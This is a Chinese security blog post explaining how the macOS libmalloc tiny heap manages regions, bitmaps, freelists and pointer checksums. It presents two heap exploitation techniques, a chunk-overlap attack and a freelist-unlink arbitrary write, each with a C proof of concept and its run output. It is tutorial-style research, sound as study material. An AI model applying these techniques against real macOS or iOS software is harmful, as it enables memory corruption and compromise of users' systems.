libmalloc初探——TinyHeap

caad 2022-06-10 10:29:00

背景

libmalloc为MacOS以及IOS中的用户态下的堆管理器,在实现细节上与linux下常用的glibc有较大的不同,本文初步介绍一下libmalloc中Tiny堆的管理机制和一些基本的漏洞利用。

环境与调试方式

在MacOS 11中引入了动态链接库缓存机制,各个系统动态链接库将不会以文件的形式保存在文件系统中,文件系统中也不存在各个系统动态链接库副本,不便于我们去研究macos的堆机制以及相关利用。网上有对MacOS11之后动态链接库缓存提取的过程,有兴趣的小伙伴可以尝试一下。本文主要分析在MacOS10.15.7下的libmalloc-283.100.6

MacOS可通过虚拟机进行安装,MacOS虚拟机安装的资料在网上较为齐全。

在MacOS上安装使用GDB还是比较麻烦的,推荐使用LLDB。LLDB是Xcode默认的调试器,命令与使用与GDB也比较相似。相比于GDB,LLDB可能插件可能不是十分完善,这里推荐Voltronlldbinit

libmalloc堆基本介绍

在libmalloc中按照申请时的大小分为三种类型,分别为Tiny、Small、Large,还存在以其大小范围如下表所示:

类型 大小范围
Tiny size <= 1008B
Small 1008B < size <= 128KB
Large 128KB < size

注:实际还存在Medium类型的堆块,仅当系统内存大于等于32GB时开启,作为Small与Large类型之间的补充,其相关机制与Small类型的堆块基本一致。

Tiny Heap

在Tiny和Small中申请分配的最小单位称之为Quantum,Quantum在Tiny堆中的大小为0x10个字节,在Small堆中的大小为0x200字节。申请返回的堆块大小都为Quantum大小的整数倍。

Tiny Region

与Linux下的通过在申请的chunk前添加头部记录当前chunk的信息不同,在libmalloc中申请多大的空间便会返回多大的空间,而相关信息的记录通过region来完成。同时每个tiny region包含64504个block,每个block的大小为一个Quantum(0x10)。其结构体如下所示:

typedef struct tiny_region {
    // This must be first (because TINY_REGION_METADATA assumes it).
    // 通过trailer将各个Region关联起来
    region_trailer_t trailer;

    // The interleaved bit arrays comprising the header and inuse bitfields.
    // The unused bits of each component in the last pair will be initialized to sentinel values.
    // 用于记录当前region中各个block的分配与使用情况
    tiny_header_inuse_pair_t pairs[CEIL_NUM_TINY_BLOCKS_WORDS]; 
    // tiny_header_inuse_pair_t的结构如下,header bitmap与inuse bitmap交织组合。
    //    typedef struct tiny_header_inuse_pair {
    //        uint32_t header;
    //        uint32_t inuse;
    //    } tiny_header_inuse_pair_t;

    // Indices of the first and last free block in this region. Value is the
    // block index + 1 so that 0 indicates no free block in this region for the
    // corresponding slot.

    region_free_blocks_t free_blocks_by_slot[NUM_TINY_SLOTS];

    // 用作填充 保证tiny_region的大小为0x100000
    uint8_t pad[TINY_REGION_PAD];

    // Intended to catch backward overspills from the heap into this structure.
    region_cookie_t region_cookie;

    // 存放当前region的以Quantum为单位的block NUM_TINY_BLOCKS大小为64504 
    // 一个region可提供64504*Q的堆空间
    // 根据计算每个region block的起始位置为0x4080
    tiny_block_t blocks[NUM_TINY_BLOCKS];
} * tiny_region_t;

Region具体是如何判断当前Region中哪些block可用哪些block不可用呢?主要是通过region结构中的bitmap(即结构体中pairs)来进行判断,bitmap实际由header bitmap与inuse bitmap交织组成,其中每一个bit都分别用于记录所对应block的分配情况以及释放与否。大致的规则如下:
1. 如果一块区域已经被使用,那么这块区域的第一个block在header bitmap和inuse bitmap中对应的值都是1。
2. 如果一块区域是空闲的,那么这块区域的第一个block在header bitmap和inuse bitmap中对应的值分别是1和0.
3. 其他情况下,header bitmap都为0。
4. 其他情况下,inuse bitmap的值无关紧要,任意值均可。

例如,当进行a=malloc(0x20),返回地址0x104080,此时0x104080所对应的header bitmap和inuse bitmap均为1,表示当前block为所分配堆区域的头部且在被使用中,而至下一个header bitmap为1即0x1040a0之间的区域即为所分配的堆区域
image.png

进一步的,进行b=malloc(0x30),返回地址为0x1040a0,同理,0x1040a0~00x1040c0即所分配的空间。
image.png

然后对a进行释放,此时的bitmap如下图所示,0x104080所对应的header bitmap为1但inuse bitmap为0,表示从0x104080起始至0x1040a0之间的区域为未被使用的空间。
image.png

Magazine

Magazine类似于glibc中的arena,用于管理各个Region。在Magazine结构体中,我们主要关注mag_last_freemag_last_free_msizemag_last_free_rgn以及mag_free_list这四个变量。

在Tiny堆中存在一个缓存机制,当一个chunk(size <= 0x100)被释放时,不会直接放入对应的freelist而是通过magazine中mag_last_freemag_last_free_msizemag_last_free_rgn的记录当前被释放的chunk的地址、size以及所对应的region。当下一个chunk(size <= 0x100)被释放时,存在缓存中chunk才会被归类至对应的freelist中。

在magazine中还有freelist,用于存放被释放的chunk,以一个Quantum为一个单元,一共有64个free_list,free_list为一个双向列表,但是freelist中的第一个chunk仅保存next指针,prev指针为空并不指向freelist。

typedef struct magazine_s { // vm_allocate()'d, so the array of magazines is page-aligned to begin with.
    // Take magazine_lock first,  Depot lock when needed for recirc, then szone->{tiny,small}_regions_lock when needed for alloc
    _malloc_lock_s magazine_lock MALLOC_CACHE_ALIGN;
    // Protection for the crtical section that does allocate_pages outside the magazine_lock
    volatile boolean_t alloc_underway;

    // One element deep "death row", optimizes malloc/free/malloc for identical size.
    // 保存最后一次free的chunk地址
    void *mag_last_free;
    // 保存最后一次free的mszie
    msize_t mag_last_free_msize;    // msize for mag_last_free
#if MALLOC_TARGET_64BIT
    uint32_t _pad;
#endif
    // 保存最后一次free的chunk所在的region
    region_t mag_last_free_rgn; // holds the region for mag_last_free

    // 被释放chunk会存入free_list中,以一个quantum为大小,有64个freelist
    free_list_t mag_free_list[MAGAZINE_FREELIST_SLOTS];
    // 用于标记所对应free_list是否被使用,即freelist中是否有被释放的chunk。
    uint32_t mag_bitmap[MAGAZINE_FREELIST_BITMAP_WORDS];

    // the first and last free region in the last block are treated as big blocks in use that are not accounted for
    size_t mag_bytes_free_at_end;
    size_t mag_bytes_free_at_start;
    region_t mag_last_region; // Valid iff mag_bytes_free_at_end || mag_bytes_free_at_start > 0

    // bean counting ...
    size_t mag_num_bytes_in_objects;
    size_t num_bytes_in_magazine;
    unsigned mag_num_objects;

    // recirculation list -- invariant: all regions owned by this magazine that meet the emptiness criteria
    // are located nearer to the head of the list than any region that doesn't satisfy that criteria.
    // Doubly linked list for efficient extraction.
    unsigned recirculation_entries;
    // 用于组织region
    region_trailer_t *firstNode;
    region_trailer_t *lastNode;

#if MALLOC_TARGET_64BIT
    uintptr_t pad[320 - 14 - MAGAZINE_FREELIST_SLOTS -
            (MAGAZINE_FREELIST_BITMAP_WORDS + 1) / 2];
#else
    uintptr_t pad[320 - 16 - MAGAZINE_FREELIST_SLOTS -
            MAGAZINE_FREELIST_BITMAP_WORDS];
#endif

} magazine_t;

Rack以及checksum机制

Rack作为更上一层的结构体,对magazine进行管理,该结构体中记录了region的数量、magazine的数量以及保存了每一个magazine地址的数组。
该结构体中我们最需要了解的是cookie这一变量,在该rack中所有需要进行checksum的指针都需要cookie,而cookie会在程序启动时随机生成。

typedef struct rack_s {
    /* Regions for tiny objects */
    _malloc_lock_s region_lock MALLOC_CACHE_ALIGN;

    rack_type_t type;
    size_t num_regions;
    size_t num_regions_dealloc;
    region_hash_generation_t *region_generation;
    region_hash_generation_t rg[2];
    region_t initial_regions[INITIAL_NUM_REGIONS];

    int num_magazines;
    unsigned num_magazines_mask;
    int num_magazines_mask_shift;
    uint32_t debug_flags;

    // array of per-processor magazines
    magazine_t *magazines;

    uintptr_t cookie;
    uintptr_t last_madvise;
} rack_t;

例如,当一个大小为0x50的chunk释放时他的内存空间如下图所示,在头部他会分别保存prev以及next指针,同时在头部与尾部保存mszie,msize并不是指chunk的大小,而是指该chunk包含几个Quantum。
image.png

但是由于checksum的机制,释放后chunk保存的prev以及next指针并不是直接的地址,而是通过指针计算校验和以及原始指针移位后或运算的结果,在计算的过程中用到了rack中的cookie,具体的计算过程如下。实际利用中由于通过计算的校验和仅有4bit,可通过1/16概率的爆破绕过此机制。

static MALLOC_INLINE uintptr_t
free_list_checksum_ptr(rack_t *rack, void *ptr)
{
    uintptr_t p = (uintptr_t)ptr;
        //free_list_gen_checksum() 返回传入指针地址的每一字节的字节和
    return (p >> 4) | ((free_list_gen_checksum(p ^ rack->cookie) & (uintptr_t)0xF) << 60); // compiles to rotate instruction
}

注:当程序未开启ASLR保护时,cookie为固定值0。

Tiny堆的申请

Tiny堆的首先会去magazine中去比较cache中是否有符合大小的chunk,如果有的话直接返回。

void *
tiny_malloc_should_clear(rack_t *rack, msize_t msize, boolean_t cleared_requested)
{
    ...
    if (tiny_mag_ptr->mag_last_free_msize == msize) {
        // we have a winner
        tiny_mag_ptr->mag_last_free = NULL;
        tiny_mag_ptr->mag_last_free_msize = 0;
        tiny_mag_ptr->mag_last_free_rgn = NULL;
        SZONE_MAGAZINE_PTR_UNLOCK(tiny_mag_ptr);
        CHECK(szone, __PRETTY_FUNCTION__);
        if (cleared_requested) {
            memset(ptr, 0, TINY_BYTES_FOR_MSIZE(msize));
        }
#if DEBUG_MALLOC
        if (LOG(szone, ptr)) {
            malloc_report(ASL_LEVEL_INFO, "in tiny_malloc_should_clear(), tiny cache ptr=%p, msize=%d\n", ptr, msize);
        }
#endif
        return ptr;
    }
    ...
}

如果没有的话会去对应的freelist去查看,是否存在对应的chunk存在于freelist中,若存在则进行分配。

void *
tiny_malloc_from_free_list(rack_t *rack, magazine_t *tiny_mag_ptr, mag_index_t mag_index, msize_t msize)
{
        ...
    ptr = the_slot->p;
    if (ptr) {
        next = free_list_unchecksum_ptr(rack, &ptr->next);
        if (next) {
            next->previous = ptr->previous;
        } else {
            BITMAPV_CLR(tiny_mag_ptr->mag_bitmap, slot);
        }
        the_slot->p = next;
        this_msize = msize;
#if DEBUG_MALLOC
        if (LOG(szone, ptr)) {
            malloc_report(ASL_LEVEL_INFO, "in tiny_malloc_from_free_list(), exact match ptr=%p, this_msize=%d\n", ptr, this_msize);
        }
#endif
        tiny_update_region_free_list_for_remove(slot, ptr, next);

        goto return_tiny_alloc;
    }
}

如果freelist中不存在对应大小的chunk时,则会从大于当前申请大小的freelist中取出chunk并切割,将剩余部分放入对应的freelist中。

void *
tiny_malloc_from_free_list(rack_t *rack, magazine_t *tiny_mag_ptr, mag_index_t mag_index, msize_t msize)
{
        ...
#if defined(__LP64__)
    bitmap = ((uint64_t *)(tiny_mag_ptr->mag_bitmap))[0] & ~((1ULL << slot) - 1);
#else
    bitmap = tiny_mag_ptr->mag_bitmap[0] & ~((1 << slot) - 1);
#endif
    if (!bitmap) {
        goto try_tiny_malloc_from_end;
    }

    slot = BITMAPV_CTZ(bitmap);
    limit = free_list + NUM_TINY_SLOTS;
    free_list += slot;

    if (free_list < limit) {
        ptr = free_list->p;
        if (ptr) {
            next = free_list_unchecksum_ptr(rack, &ptr->next);
            free_list->p = next;
            if (next) {
                next->previous = ptr->previous;
            } else {
                BITMAPV_CLR(tiny_mag_ptr->mag_bitmap, slot);
            }
            this_msize = get_tiny_free_size(ptr);
            tiny_update_region_free_list_for_remove(slot, ptr, next);
            goto add_leftover_and_proceed;
        }
#if DEBUG_MALLOC
        malloc_report(ASL_LEVEL_ERR, "in tiny_malloc_from_free_list(), mag_bitmap out of sync, slot=%d\n", slot);
#endif
    }
}

如果大于申请大小的freelist中仍然没有可分配的chunk时,则会去region剩余的block中切割新的chunk进行分配。

void *
tiny_malloc_from_free_list(rack_t *rack, magazine_t *tiny_mag_ptr, mag_index_t mag_index, msize_t msize)
{
        ...
    // Let's see if we can use tiny_mag_ptr->mag_bytes_free_at_end
    if (tiny_mag_ptr->mag_bytes_free_at_end >= TINY_BYTES_FOR_MSIZE(msize)) {
        ptr = (tiny_free_list_t *)((uintptr_t)TINY_REGION_HEAP_END(tiny_mag_ptr->mag_last_region) - tiny_mag_ptr->mag_bytes_free_at_end);
        tiny_mag_ptr->mag_bytes_free_at_end -= TINY_BYTES_FOR_MSIZE(msize);
        if (tiny_mag_ptr->mag_bytes_free_at_end) {
            // let's add an in use block after ptr to serve as boundary
            set_tiny_meta_header_in_use_1((unsigned char *)ptr + TINY_BYTES_FOR_MSIZE(msize));
        }
        this_msize = msize;
#if DEBUG_MALLOC
        if (LOG(szone, ptr)) {
            malloc_report(ASL_LEVEL_INFO, "in tiny_malloc_from_free_list(), from end ptr=%p, msize=%d\n", ptr, msize);
        }
#endif
        goto return_tiny_alloc;
    }
}

最后如果region中的剩余空间仍然不够,则会通过系统调用申请新的region来进行分配。

Tiny堆的释放

在free时首先会对不知道释放size的chunk通过bitmap检查是否存在double free,若存在double free则直接抛出异常。

void
free_tiny(rack_t *rack, void *ptr, region_t tiny_region, size_t known_size,
        boolean_t partial_free)
{
        ...
    // ptr is known to be in tiny_region
    if (known_size) {
        msize = TINY_MSIZE_FOR_BYTES(known_size + TINY_QUANTUM - 1);
    } else {
        msize = get_tiny_meta_header(ptr, &is_free);
        if (is_free) {
            free_tiny_botch(rack, ptr);
            return;
        }
    }
        ...
}

若释放chunk的size小于0x100,将释放的chunk放入magazine中的缓存中,若缓存中已有chunk,则将缓存中的chunk归类至对应freelist。通过tiny_free_no_lock()函数,在置入freelist的时候,会对被释放的chunk的前向chunk以及后向chunk进行检查,若为已经释放的chunk,则进行堆块合并,并修改对应的bitmap以及进行unlink操作,将chunk从freelist中解链,最后将合并后的chunk放入对应的。

void
free_tiny(rack_t *rack, void *ptr, region_t tiny_region, size_t known_size,
        boolean_t partial_free)
{
    if (DEPOT_MAGAZINE_INDEX != mag_index && !partial_free) {
        if (msize < TINY_QUANTUM) {                   // to see if the bits fit in the last 4 bits
            void *ptr2 = tiny_mag_ptr->mag_last_free; // Might be NULL
            msize_t msize2 = tiny_mag_ptr->mag_last_free_msize;
            region_t rgn2 = tiny_mag_ptr->mag_last_free_rgn;

            /* check that we don't already have this pointer in the cache */
            if (ptr == ptr2) {
                free_tiny_botch(rack, ptr);
                return;
            }

            if ((rack->debug_flags & MALLOC_DO_SCRIBBLE) && msize) {
                memset(ptr, SCRABBLE_BYTE, TINY_BYTES_FOR_MSIZE(msize));
            }

            tiny_mag_ptr->mag_last_free = ptr;
            tiny_mag_ptr->mag_last_free_msize = msize;
            tiny_mag_ptr->mag_last_free_rgn = tiny_region;

            if (!ptr2) {
                SZONE_MAGAZINE_PTR_UNLOCK(tiny_mag_ptr);
                CHECK(szone, __PRETTY_FUNCTION__);
                return;
            }

            msize = msize2;
            ptr = ptr2;
            tiny_region = rgn2;
        }
    }

    region_trailer_t *trailer = REGION_TRAILER_FOR_TINY_REGION(tiny_region);
    mag_index_t refreshed_index;

    while (mag_index != (refreshed_index = trailer->mag_index)) { // Note assignment
        SZONE_MAGAZINE_PTR_UNLOCK(tiny_mag_ptr);
        mag_index = refreshed_index;
        tiny_mag_ptr = &(rack->magazines[mag_index]);
        SZONE_MAGAZINE_PTR_LOCK(tiny_mag_ptr);
    }

    if (tiny_free_no_lock(rack, tiny_mag_ptr, mag_index, tiny_region, ptr,
            msize, partial_free)) {
        SZONE_MAGAZINE_PTR_UNLOCK(tiny_mag_ptr);
    }

    CHECK(szone, __PRETTY_FUNCTION__);
}

Tiny Heap的相关利用

chunk overlap attack

首先申请四个chunk,然后依次释放p2以及p4,此时p2位于freelist[4]中,p4位于缓存中。
image.png

然后将p2的msize位由5改为9,然后依次释放p1以及p3,此时p3于缓存中,p2会被置入freelist中之前,会与p2合并,但由于p2的msize被修改成9,合并后p1的msize变为0xc,相当于合并了p2以及p3,进而造成了堆块重叠。此时申请大小为0xc0和0x40的chunk,即可通过对大小为0xc0 chunk的修改实现对0x40 chunk的修改。
image.png

POC:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main(int argc, const char * argv[]) {

    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    void *p1,*p2,*p3,*p4,*p5;

    p1 = malloc(0x30);
    p2 = malloc(0x50);
    p3 = malloc(0x40);
    p4 = malloc(0x20);

    free(p2);
    free(p4);

    puts("p2 has been sorted in free_list.");
    printf("p2's addr: %p\n", p2);
    printf("p2's prev: %p\n", *(uint64_t *)p2);
    printf("p2's next: %p\n", *(uint64_t *)(p2+0x8));
    printf("p2's msize: %p\n\n", *(uint64_t *)(p2+0x10));

    printf("change p2's msize\n");
    // 这里绕过了prev指针以及next指针直接修改msize,可通过checksum的机制
    *(uint8_t*)(p2+0x10) = 0x9; 
    printf("p2's addr: %p\n", p2);
    printf("p2's prev: %p\n", *(uint64_t *)p2);
    printf("p2's next: %p\n", *(uint64_t *)(p2+0x8));
    printf("p2's msize: %p\n\n", *(uint64_t *)(p2+0x10));

    free(p1);
    free(p3);
    printf("free p3(%p) to cache, free p1(%p) to free_list\n", p3, p1);
    // 在p3从缓存中替换p1, p1在归类进入free_list时,会与后向的p2进行合并
    // 由于p2的msize已被修改成0x9,与p1合并后大小为0xc(3+9),与p3存在重叠

    void* p1_new = malloc(0xc0);
    printf("new p1(&p) with size 0xc0. \n", p1_new);

    void* p3_new = malloc(0x40);
    printf("get p3(%p) from cache\n", p3_new);

    *(uint64_t*)p3_new = 0x2333;
    printf("p3(%p) data: %p\n", p3_new, *(uint64_t*)p3_new);

    // 利用堆块重叠从p1修改p3数据
    *(uint64_t*)(p1_new+0x80) = 0xdeadbeef;
    printf("p3(%p) data: %p\n", p3_new, *(uint64_t*)p3_new);
    return 0;
}

运行结果:

p2 has been sorted in free_list.
p2's addr: 0x7fc85fc057d0
p2's prev: 0x2000000000000000
p2's next: 0x2000000000000000
p2's msize: 0x5

change p2's msize
p2's addr: 0x7fc85fc057d0
p2's prev: 0x2000000000000000
p2's next: 0x2000000000000000
p2's msize: 0x9

free p3(0x7fc85fc05820) to cache, free p1(0x7fc85fc057a0) to free_list
new p1(&p) with size 0xc0. 
get p3(0x7fc85fc05820) from cache
p3(0x7fc85fc05820) data: 0x2333
p3(0x7fc85fc05820) data: 0xdeadbeef

freelist重写攻击

tiny堆从freelist申请时,将链表的第一个节点取出后,将后续的节点的prev更新为第一个节点的prev,若当我们可以控制第一个节点的prev以及next时,就可实现任意地址写(16字节对齐的地址)。

void *
tiny_malloc_from_free_list(rack_t *rack, magazine_t *tiny_mag_ptr, mag_index_t mag_index, msize_t msize)
{
        ...
    ptr = the_slot->p;
    if (ptr) {
        next = free_list_unchecksum_ptr(rack, &ptr->next);
        if (next) {
            next->previous = ptr->previous;
        } else {
            BITMAPV_CLR(tiny_mag_ptr->mag_bitmap, slot);
        }
}

首先申请5个chunk,然后依次释放p1、p3、p5,此时p5位于缓存中,p1、p3位于freelist[1]中,且p3为freelist的头结点。
image.png

然后修改p3的prev域以及next域分别为修改的内容以及经过checksum的目标地址,然后重新申请p3,在解链的时候就会将内容写至目标地址中,这里需要1/16的爆破。
image.png

poc:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

uint64_t victim = 0x2333;

int main(int argc, const char *argv[])
{
    void *p1, *p2, *p3, *p4, *p5;

    p1 = malloc(0x20);
    p2 = malloc(0x20);
    p3 = malloc(0x20);
    p4 = malloc(0x20);
    p5 = malloc(0x30);

    printf("victim(%p) value: %p\n", &victim, victim);

    free(p1);
    free(p3);
    free(p5);

    printf("free_list[1]: p3(%p) --> p1(%p)\n", p3, p1);
    printf("cache: p5(%p)\n", p5);

    printf("p1's addr: %p\n", p1);
    printf("p1's prev: %p\n", *(uint64_t *)p1);
    printf("p1's next: %p\n", *(uint64_t *)(p1 + 0x8));
    printf("p1's msize: %p\n", *(uint64_t *)(p1 + 0x10));
    printf("p3's addr: %p\n", p3);
    printf("p3's prev: %p\n", *(uint64_t *)p3);
    printf("p3's next: %p\n", *(uint64_t *)(p3 + 0x8));
    printf("p3's msize: %p\n\n", *(uint64_t *)(p3 + 0x10));

    // p3->prev = 0xdeadbeef
    *(uint64_t *)p3 = 0xdeadbeef;
    // p3->next = checksum(&victim)
    *(uint64_t *)(p3 + 8) = ((5 << 60) | (uint64_t)&victim >> 4);

    printf("p3's addr: %p\n", p3);
    printf("p3's prev: %p\n", *(uint64_t *)p3);
    printf("p3's next: %p\n", *(uint64_t *)(p3 + 0x8));
    printf("p3's msize: %p\n\n", *(uint64_t *)(p3 + 0x10));

    // 1/16爆破
    malloc(0x20);
    printf("victim(%p) value: %p\n", &victim, victim);
    return 0;
}

运行结果:

victim(0x10e2c2020) value: 0x2333
free_list[1]: p3(0x7fe1c0c057e0) --> p1(0x7fe1c0c057a0)
cache: p5(0x7fe1c0c05820)
p1's addr: 0x7fe1c0c057a0
p1's prev: 0x300007fe1c0c057e
p1's next: 0x4000000000000000
p1's msize: 0x2
p3's addr: 0x7fe1c0c057e0
p3's prev: 0x4000000000000000
p3's next: 0x300007fe1c0c057a
p3's msize: 0x2

p3's addr: 0x7fe1c0c057e0
p3's prev: 0xdeadbeef
p3's next: 0x10e2c202
p3's msize: 0x2

victim(0x10e2c2020) value: 0x2333

参考

libmalloc-283.100.6

MacOS memory allocator (libmalloc) Exploitation

OSX Heap Exploitation

MacOS Heap Exploit

评论

C

caad

这个人很懒,没有留下任何介绍

twitter weibo github wechat

随机分类

神器分享 文章:71 篇
软件安全 文章:17 篇
前端安全 文章:29 篇
Web安全 文章:248 篇
其他 文章:95 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录